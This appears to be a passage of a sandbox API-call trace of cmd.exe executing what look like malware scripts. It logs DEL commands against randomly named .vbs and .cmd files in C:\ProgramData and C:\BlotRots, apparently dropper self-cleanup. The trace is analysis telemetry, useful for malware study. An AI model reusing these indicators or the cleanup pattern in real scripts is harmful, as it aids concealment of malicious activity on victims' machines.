0x20b0f920000 [0243.683] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x42) returned 0x20b0f92c830 [0243.684] GetProcessHeap () returned 0x20b0f920000 [0243.684] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x2e) returned 0x20b0f946ab0 [0243.684] GetProcessHeap () returned 0x20b0f920000 [0243.684] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x2e) returned 0x20b0f946df0 [0243.684] ??_V@YAXPEAX@Z () returned 0x1 [0243.685] ??_V@YAXPEAX@Z () returned 0x1 [0243.687] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0243.704] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0243.705] GetProcessHeap () returned 0x20b0f920000 [0243.705] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x810) returned 0x20b0f948c40 [0243.706] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", fInfoLevelId=0x0, lpFindFileData=0x20b0f948c54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20b0f948c54) returned 0x20b0f92ceb0 [0243.711] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0243.711] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0243.712] malloc (_Size=0xffd2) returned 0x20b0fac0880 [0243.712] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.712] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0243.712] NtOpenFile (in: FileHandle=0x9cb92fd8d0, DesiredAccess=0x10000, ObjectAttributes=0x9cb92fd870*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\JHJKGHuggUGUGYYuyggg.vbs", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x9cb92fd840, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x9cb92fd8d0*=0x9c, IoStatusBlock=0x9cb92fd840*(Status=0x0, Pointer=0x9c00000000, Information=0x1)) returned 0x0 [0243.713] RtlReleaseRelativeName () returned 0x0 [0243.713] RtlFreeAnsiString (AnsiString="\\") [0243.713] NtQueryVolumeInformationFile (in: FileHandle=0x9c, IoStatusBlock=0x9cb92fd748, FsInformation=0x9cb92fd740, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x9cb92fd748, FsInformation=0x9cb92fd740) returned 0x0 [0243.713] CloseHandle (hObject=0x9c) returned 1 [0243.715] ??_V@YAXPEAX@Z () returned 0x1 [0243.763] ??_V@YAXPEAX@Z () returned 0x1 [0243.764] FindNextFileW (in: hFindFile=0x20b0f92ceb0, lpFindFileData=0x20b0f948c54 | out: lpFindFileData=0x20b0f948c54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa12afee7, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0xa12afee7, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xa1306278, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x1119d, dwReserved0=0x0, dwReserved1=0x0, cFileName="JHJKGHuggUGUGYYuyggg.vbs", cAlternateFileName="JHJKGH~1.VBS")) returned 0 [0243.765] GetLastError () returned 0x12 [0243.765] FindClose (in: hFindFile=0x20b0f92ceb0 | out: hFindFile=0x20b0f92ceb0) returned 1 [0243.765] ??_V@YAXPEAX@Z () returned 0x1 [0243.767] GetProcessHeap () returned 0x20b0f920000 [0243.767] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f948c40) returned 1 [0243.767] GetProcessHeap () returned 0x20b0f920000 [0243.767] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946df0) returned 1 [0243.767] GetProcessHeap () returned 0x20b0f920000 [0243.767] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92c830) returned 1 [0243.767] GetProcessHeap () returned 0x20b0f920000 [0243.767] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946ab0) returned 1 [0243.767] ??_V@YAXPEAX@Z () returned 0x1 [0243.769] GetProcessHeap () returned 0x20b0f920000 [0243.769] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947e90) returned 1 [0243.769] GetProcessHeap () returned 0x20b0f920000 [0243.769] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0243.770] GetProcessHeap () returned 0x20b0f920000 [0243.770] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a2d0) returned 1 [0243.770] GetProcessHeap () returned 0x20b0f920000 [0243.770] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ce50) returned 1 [0243.770] GetProcessHeap () returned 0x20b0f920000 [0243.770] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d030) returned 1 [0243.770] GetProcessHeap () returned 0x20b0f920000 [0243.770] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d600) returned 1 [0243.770] GetProcessHeap () returned 0x20b0f920000 [0243.770] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2c0) returned 1 [0243.770] ??_V@YAXPEAX@Z () returned 0x1 [0243.772] ??_V@YAXPEAX@Z () returned 0x1 [0243.775] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fe9a0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0243.931] malloc (_Size=0xffce) returned 0x20b0fa70920 [0243.932] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0243.933] malloc (_Size=0xffce) returned 0x20b0fa80900 [0243.933] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0243.934] _wcsicmp (_String1="DEL", _String2="DIR") returned -4 [0243.934] _wcsicmp (_String1="DEL", _String2="ERASE") returned -1 [0243.934] _wcsicmp (_String1="DEL", _String2="DEL") returned 0 [0243.934] ??_V@YAXPEAX@Z () returned 0x1 [0243.935] GetProcessHeap () returned 0x20b0f920000 [0243.936] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xcc) returned 0x20b0f928570 [0243.936] GetProcessHeap () returned 0x20b0f920000 [0243.936] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f928570, Size=0x6c) returned 0x20b0f94a470 [0243.936] GetProcessHeap () returned 0x20b0f920000 [0243.936] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f94a470) returned 0x6c [0243.936] GetProcessHeap () returned 0x20b0f920000 [0243.936] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x76) returned 0x20b0f94a770 [0243.936] malloc (_Size=0xffce) returned 0x20b0fa80900 [0243.937] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0243.938] GetProcessHeap () returned 0x20b0f920000 [0243.938] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xcc) returned 0x20b0f928730 [0243.938] GetProcessHeap () returned 0x20b0f920000 [0243.938] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f928730, Size=0x6c) returned 0x20b0f94a670 [0243.938] GetProcessHeap () returned 0x20b0f920000 [0243.938] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f94a670) returned 0x6c [0243.938] GetProcessHeap () returned 0x20b0f920000 [0243.938] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x6a) returned 0x20b0f94ab70 [0243.938] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa80900 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.938] malloc (_Size=0xffd2) returned 0x20b0fa908e0 [0243.939] ??_V@YAXPEAX@Z () returned 0x20b0fa908e0 [0243.939] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0243.939] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0243.940] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0243.940] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0243.940] GetProcessHeap () returned 0x20b0f920000 [0243.940] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92d2d0 [0243.941] malloc (_Size=0xffce) returned 0x20b0fac0880 [0243.941] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.941] malloc (_Size=0xffce) returned 0x20b0fad0860 [0243.941] ??_V@YAXPEAX@Z () returned 0x20b0fad0860 [0243.942] malloc (_Size=0xffce) returned 0x20b0fae0840 [0243.942] ??_V@YAXPEAX@Z () returned 0x20b0fae0840 [0243.942] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fae0840 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.942] ??_V@YAXPEAX@Z () returned 0x1 [0243.943] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd5c0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x20b0fac0880, nFileSystemNameSize=0x7fe7 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd5c0*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0243.946] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0243.946] ??_V@YAXPEAX@Z () returned 0x8 [0243.946] ??_V@YAXPEAX@Z () returned 0x1 [0243.947] ??_V@YAXPEAX@Z () returned 0x1 [0243.948] malloc (_Size=0xffce) returned 0x20b0fac0880 [0243.949] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.950] GetProcessHeap () returned 0x20b0f920000 [0243.950] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92d270 [0243.950] GetProcessHeap () returned 0x20b0f920000 [0243.950] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f92a2d0 [0243.950] _wcsicmp (_String1="djsfgytdftftyYFGfghffghYYTTT.cmd", _String2=".") returned 54 [0243.950] _wcsicmp (_String1="djsfgytdftftyYFGfghffghYYTTT.cmd", _String2="..") returned 54 [0243.950] GetFileAttributesW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd")) returned 0x20 [0243.950] GetProcessHeap () returned 0x20b0f920000 [0243.950] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f967fe0 [0243.950] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0f967ff0 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0243.950] SetErrorMode (uMode=0x0) returned 0x0 [0243.950] SetErrorMode (uMode=0x1) returned 0x0 [0243.950] GetFullPathNameW (in: lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", nBufferLength=0x7fe7, lpBuffer=0x20b0fac0880, lpFilePart=0x9cb92fda00 | out: lpBuffer="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", lpFilePart=0x9cb92fda00*="djsfgytdftftyYFGfghffghYYTTT.cmd") returned 0x2c [0243.951] SetErrorMode (uMode=0x0) returned 0x1 [0243.951] GetFileAttributesW (lpFileName="C:\\BlotRots" (normalized: "c:\\blotrots")) returned 0x10 [0243.951] GetProcessHeap () returned 0x20b0f920000 [0243.951] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f947e90 [0243.951] _wcsicmp (_String1="djsfgytdftftyYFGfghffghYYTTT.cmd", _String2=".") returned 54 [0243.951] _wcsicmp (_String1="djsfgytdftftyYFGfghffghYYTTT.cmd", _String2="..") returned 54 [0243.951] GetFileAttributesW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd")) returned 0x20 [0243.951] ??_V@YAXPEAX@Z () returned 0x1 [0243.952] GetProcessHeap () returned 0x20b0f920000 [0243.952] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x52) returned 0x20b0f92d390 [0243.952] GetProcessHeap () returned 0x20b0f920000 [0243.952] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x28) returned 0x20b0f948100 [0243.952] GetProcessHeap () returned 0x20b0f920000 [0243.953] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x28) returned 0x20b0f92a540 [0243.953] ??_V@YAXPEAX@Z () returned 0x1 [0243.954] ??_V@YAXPEAX@Z () returned 0x1 [0243.956] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0243.957] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0243.958] GetProcessHeap () returned 0x20b0f920000 [0243.958] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x810) returned 0x20b0f948c40 [0243.958] FindFirstFileExW (in: lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", fInfoLevelId=0x0, lpFindFileData=0x20b0f948c54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20b0f948c54) returned 0x20b0f92cfd0 [0243.959] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0243.959] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0243.959] malloc (_Size=0xffd2) returned 0x20b0fac0880 [0243.959] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0243.960] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0243.960] NtOpenFile (in: FileHandle=0x9cb92fd840, DesiredAccess=0x10000, ObjectAttributes=0x9cb92fd7e0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x9cb92fd7b0, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x9cb92fd840*=0x9c, IoStatusBlock=0x9cb92fd7b0*(Status=0x0, Pointer=0x9c00000000, Information=0x1)) returned 0x0 [0243.960] RtlReleaseRelativeName () returned 0x0 [0243.960] RtlFreeAnsiString (AnsiString="\\") [0243.960] NtQueryVolumeInformationFile (in: FileHandle=0x9c, IoStatusBlock=0x9cb92fd6b8, FsInformation=0x9cb92fd6b0, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x9cb92fd6b8, FsInformation=0x9cb92fd6b0) returned 0x0 [0243.960] CloseHandle (hObject=0x9c) returned 1 [0243.962] ??_V@YAXPEAX@Z () returned 0x1 [0243.963] ??_V@YAXPEAX@Z () returned 0x1 [0243.964] FindNextFileW (in: hFindFile=0x20b0f92cfd0, lpFindFileData=0x20b0f948c54 | out: lpFindFileData=0x20b0f948c54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb02f28ca, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0xb02f28ca, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0xb06d2740, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x17b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="djsfgytdftftyYFGfghffghYYTTT.cmd", cAlternateFileName="DJSFGY~1.CMD")) returned 0 [0243.965] GetLastError () returned 0x12 [0243.965] FindClose (in: hFindFile=0x20b0f92cfd0 | out: hFindFile=0x20b0f92cfd0) returned 1 [0243.965] ??_V@YAXPEAX@Z () returned 0x1 [0243.967] GetProcessHeap () returned 0x20b0f920000 [0243.967] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f948c40) returned 1 [0243.968] GetProcessHeap () returned 0x20b0f920000 [0243.968] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a540) returned 1 [0243.968] GetProcessHeap () returned 0x20b0f920000 [0243.968] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d390) returned 1 [0243.968] GetProcessHeap () returned 0x20b0f920000 [0243.968] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f948100) returned 1 [0243.968] ??_V@YAXPEAX@Z () returned 0x1 [0243.970] GetProcessHeap () returned 0x20b0f920000 [0243.970] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f947e90) returned 1 [0243.970] GetProcessHeap () returned 0x20b0f920000 [0243.970] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f967fe0) returned 1 [0243.971] GetProcessHeap () returned 0x20b0f920000 [0243.971] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92a2d0) returned 1 [0243.971] GetProcessHeap () returned 0x20b0f920000 [0243.971] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d270) returned 1 [0243.972] GetProcessHeap () returned 0x20b0f920000 [0243.972] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d2d0) returned 1 [0243.972] GetProcessHeap () returned 0x20b0f920000 [0243.972] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94ab70) returned 1 [0243.972] GetProcessHeap () returned 0x20b0f920000 [0243.972] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f94a670) returned 1 [0243.972] ??_V@YAXPEAX@Z () returned 0x1 [0243.974] ??_V@YAXPEAX@Z () returned 0x1 [0244.025] GetConsoleTitleW (in: lpConsoleTitle=0x9cb92fe9d0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0244.119] malloc (_Size=0xffce) returned 0x20b0fa70920 [0244.120] ??_V@YAXPEAX@Z () returned 0x20b0fa70920 [0244.121] malloc (_Size=0xffce) returned 0x20b0fa80900 [0244.121] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0244.122] _wcsicmp (_String1="DEL", _String2="DIR") returned -4 [0244.122] _wcsicmp (_String1="DEL", _String2="ERASE") returned -1 [0244.122] _wcsicmp (_String1="DEL", _String2="DEL") returned 0 [0244.122] ??_V@YAXPEAX@Z () returned 0x1 [0244.123] GetProcessHeap () returned 0x20b0f920000 [0244.124] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f9578c0 [0244.124] GetProcessHeap () returned 0x20b0f920000 [0244.124] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9578c0, Size=0x68) returned 0x20b0f92e2c0 [0244.124] GetProcessHeap () returned 0x20b0f920000 [0244.124] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92e2c0) returned 0x68 [0244.124] GetProcessHeap () returned 0x20b0f920000 [0244.124] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x70) returned 0x20b0f94a6f0 [0244.124] malloc (_Size=0xffce) returned 0x20b0fa80900 [0244.125] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0244.126] GetProcessHeap () returned 0x20b0f920000 [0244.126] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xc0) returned 0x20b0f957cd0 [0244.126] GetProcessHeap () returned 0x20b0f920000 [0244.126] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f957cd0, Size=0x68) returned 0x20b0f92d600 [0244.126] GetProcessHeap () returned 0x20b0f920000 [0244.126] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d600) returned 0x68 [0244.126] GetProcessHeap () returned 0x20b0f920000 [0244.126] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x66) returned 0x20b0f92d670 [0244.126] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa80900 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0244.126] malloc (_Size=0xffd2) returned 0x20b0fa908e0 [0244.127] ??_V@YAXPEAX@Z () returned 0x20b0fa908e0 [0244.127] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0244.127] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0244.128] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0244.128] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0244.128] GetProcessHeap () returned 0x20b0f920000 [0244.128] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92cdf0 [0244.128] malloc (_Size=0xffce) returned 0x20b0fac0880 [0244.129] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0244.129] malloc (_Size=0xffce) returned 0x20b0fad0860 [0244.129] ??_V@YAXPEAX@Z () returned 0x20b0fad0860 [0244.130] malloc (_Size=0xffce) returned 0x20b0fae0840 [0244.130] ??_V@YAXPEAX@Z () returned 0x20b0fae0840 [0244.130] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fae0840 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0244.130] ??_V@YAXPEAX@Z () returned 0x1 [0244.131] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd5f0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x20b0fac0880, nFileSystemNameSize=0x7fe7 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x9cb92fd5f0*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0244.134] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0244.134] ??_V@YAXPEAX@Z () returned 0x8 [0244.134] ??_V@YAXPEAX@Z () returned 0x1 [0244.135] ??_V@YAXPEAX@Z () returned 0x1 [0244.136] malloc (_Size=0xffce) returned 0x20b0fac0880 [0244.137] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0244.138] GetProcessHeap () returned 0x20b0f920000 [0244.138] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x58) returned 0x20b0f92d1b0 [0244.138] GetProcessHeap () returned 0x20b0f920000 [0244.138] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f92a2d0 [0244.138] _wcsicmp (_String1="UIYUIYUIYuiyuiYUIYYuyty.vbs", _String2=".") returned 71 [0244.138] _wcsicmp (_String1="UIYUIYUIYuiyuiYUIYYuyty.vbs", _String2="..") returned 71 [0244.138] GetFileAttributesW (lpFileName="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs" (normalized: "c:\\programdata\\uiyuiyuiyuiyuiyuiyyuyty.vbs")) returned 0x2020 [0244.138] GetProcessHeap () returned 0x20b0f920000 [0244.138] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f967fe0 [0244.140] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0f967ff0 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0244.140] SetErrorMode (uMode=0x0) returned 0x0 [0244.140] SetErrorMode (uMode=0x1) returned 0x0 [0244.140] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", nBufferLength=0x7fe7, lpBuffer=0x20b0fac0880, lpFilePart=0x9cb92fda30 | out: lpBuffer="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", lpFilePart=0x9cb92fda30*="UIYUIYUIYuiyuiYUIYYuyty.vbs") returned 0x2a [0244.141] SetErrorMode (uMode=0x0) returned 0x1 [0244.141] GetFileAttributesW (lpFileName="C:\\ProgramData" (normalized: "c:\\programdata")) returned 0x2012 [0244.141] GetProcessHeap () returned 0x20b0f920000 [0244.141] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x260) returned 0x20b0f947e90 [0244.141] _wcsicmp (_String1="UIYUIYUIYuiyuiYUIYYuyty.vbs", _String2=".") returned 71 [0244.141] _wcsicmp (_String1="UIYUIYUIYuiyuiYUIYYuyty.vbs", _String2="..") returned 71 [0244.141] GetFileAttributesW (lpFileName="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs" (normalized: "c:\\programdata\\uiyuiyuiyuiyuiyuiyyuyty.vbs")) returned 0x2020 [0244.141] ??_V@YAXPEAX@Z () returned 0x1 [0244.142] GetProcessHeap () returned 0x20b0f920000 [0244.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x48) returned 0x20b0f92c380 [0244.142] GetProcessHeap () returned 0x20b0f920000 [0244.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x2e) returned 0x20b0f946870 [0244.142] GetProcessHeap () returned 0x20b0f920000 [0244.142] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x2e) returned 0x20b0f946cb0 [0244.142] ??_V@YAXPEAX@Z () returned 0x1 [0244.144] ??_V@YAXPEAX@Z () returned 0x1 [0244.146] malloc (_Size=0xffd2) returned 0x20b0faa08c0 [0244.147] ??_V@YAXPEAX@Z () returned 0x20b0faa08c0 [0244.147] GetProcessHeap () returned 0x20b0f920000 [0244.147] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x810) returned 0x20b0f948c40 [0244.147] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", fInfoLevelId=0x0, lpFindFileData=0x20b0f948c54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x20b0f948c54) returned 0x20b0f92d210 [0244.148] malloc (_Size=0xffd2) returned 0x20b0fab08a0 [0244.148] ??_V@YAXPEAX@Z () returned 0x20b0fab08a0 [0244.148] malloc (_Size=0xffd2) returned 0x20b0fac0880 [0244.148] ??_V@YAXPEAX@Z () returned 0x20b0fac0880 [0244.149] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0244.149] NtOpenFile (in: FileHandle=0x9cb92fd870, DesiredAccess=0x10000, ObjectAttributes=0x9cb92fd810*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\ProgramData\\UIYUIYUIYuiyuiYUIYYuyty.vbs", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x9cb92fd7e0, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x9cb92fd870*=0x9c, IoStatusBlock=0x9cb92fd7e0*(Status=0x0, Pointer=0x9c00000000, Information=0x1)) returned 0x0 [0244.150] RtlReleaseRelativeName () returned 0x0 [0244.150] RtlFreeAnsiString (AnsiString="\\") [0244.150] NtQueryVolumeInformationFile (in: FileHandle=0x9c, IoStatusBlock=0x9cb92fd6e8, FsInformation=0x9cb92fd6e0, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x9cb92fd6e8, FsInformation=0x9cb92fd6e0) returned 0x0 [0244.150] CloseHandle (hObject=0x9c) returned 1 [0244.151] ??_V@YAXPEAX@Z () returned 0x1 [0244.152] ??_V@YAXPEAX@Z () returned 0x1 [0244.153] FindNextFileW (in: hFindFile=0x20b0f92d210, lpFindFileData=0x20b0f948c54 | out: lpFindFileData=0x20b0f948c54*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9f816d86, ftCreationTime.dwHighDateTime=0x1d6747d, ftLastAccessTime.dwLowDateTime=0x9f816d86, ftLastAccessTime.dwHighDateTime=0x1d6747d, ftLastWriteTime.dwLowDateTime=0x9f816d86, ftLastWriteTime.dwHighDateTime=0x1d6747d, nFileSizeHigh=0x0, nFileSizeLow=0x979, dwReserved0=0x0, dwReserved1=0x0, cFileName="UIYUIYUIYuiyuiYUIYYuyty.vbs", cAlternateFileName="UIYUIY~1.VBS")) returned 0 [0244.154] GetLastError () returned 0x12 [0244.154] FindClose (in: hFindFile=0x20b0f92d210 | out: hFindFile=0x20b0f92d210) returned 1 [0244.155] ??_V@YAXPEAX@Z () returned 0x1 [0244.157] GetProcessHeap () returned 0x20b0f920000 [0244.157] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f948c40) returned 1 [0244.157] GetProcessHeap () returned 0x20b0f920000 [0244.157] 